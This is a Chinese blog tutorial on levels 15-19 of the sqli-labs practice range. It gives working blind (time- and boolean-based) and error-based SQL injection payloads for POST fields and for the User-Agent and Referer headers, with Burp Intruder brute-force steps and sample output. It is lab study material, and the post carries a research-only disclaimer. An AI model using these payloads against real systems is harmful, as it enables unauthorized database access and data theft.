SQL注入【sqli靶场第15-19关】(四)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

接上文:SQL注入【sqli靶场第11-14关】(三)

5、Less15

POST - Blind-Boolian/time Based-Single quotes

5.1、判断是否存在SQL注入

使用时间盲注验证

# 输入内容
'and+if('a'='a',sleep(1),sleep(5))--+

SQL注入【sqli靶场第15-19关】(四)_第1张图片

5.2、借用BP爆破数据库

5.2.1、爆破数据库长度
# 输入内容
'and+if(length(database())=5,1,0)--+

在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字5,这个值任意填写的。Attack Type选择:Cluster bomb,参数设置看截图说明。
SQL注入【sqli靶场第15-19关】(四)_第2张图片
SQL注入【sqli靶场第15-19关】(四)_第3张图片
SQL注入【sqli靶场第15-19关】(四)_第4张图片

从爆破结果得到数据库长度是8

5.2.2、爆破数据库名
# 输入内容
'and+if(substr(database(),1,1)='a',1,0)--+

爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
SQL注入【sqli靶场第15-19关】(四)_第5张图片
SQL注入【sqli靶场第15-19关】(四)_第6张图片
SQL注入【sqli靶场第15-19关】(四)_第7张图片
SQL注入【sqli靶场第15-19关】(四)_第8张图片

6、Less16

POST - Blind-Boolian/time Based-Double quotes

6.1、判断是否存在SQL注入

使用时间盲注验证

# 输入内容
")and+if(1=1,sleep(1),sleep(5))--+

SQL注入【sqli靶场第15-19关】(四)_第9张图片

6.2、借用BP爆破数据库

由于Less-16注入语句和Less-15区别就在前面的引号,Less-15前面是单引号',Less-16前面是双引号+括号") 下面两个步骤我只给出验证通过的注入SQL,操作步骤参考5.2。

6.2.1、爆破数据库长度
# 输入内容
")and+if(length(database())=5,1,0)--+
6.2.2、爆破数据库名
# 输入内容
")and+if(substr(database(),1,1)='a',1,0)--+

7、Less-17

POST - Update Query- Error Based - string

7.1、判断是否存在SQL注入

正常响应长度
SQL注入【sqli靶场第15-19关】(四)_第10张图片

密码输入带单引号’,响应长度有变化
SQL注入【sqli靶场第15-19关】(四)_第11张图片

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin3'' at line 1br>

7.2、报错函数

7.2.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名,注意是在密码后拼接

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输出内容
XPATH syntax error: '~security~'
# 输入内容 'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1 # 输出内容 XPATH syntax error: '~root@localhost~'

8、Less-18

POST -Header Injection - Uagent field - Error based

8.1、报错函数

删除原来User-Agent的信息输入SQL注入语句获取到数据库和账号

# 输入内容--数据库名
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输入内容--登录名
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

SQL注入【sqli靶场第15-19关】(四)_第12张图片
SQL注入【sqli靶场第15-19关】(四)_第13张图片

9、Less-19

POST - Header lnjection - Referer field - Error based

9.1、报错函数

删除原来Referer的信息输入SQL注入语句获取到数据库和账号

# 输入内容--数据库名
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输入内容--登录名
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

SQL注入【sqli靶场第15-19关】(四)_第14张图片
SQL注入【sqli靶场第15-19关】(四)_第15张图片

10、下期内容预告

下期继续分享:SQL注入【sqli靶场第20-22关和dnslog外带】(五),敬请关注我的公众号:大象只为你,持续更新中…

你可能感兴趣的:(跟我学网安知识,sql,网络安全,web安全)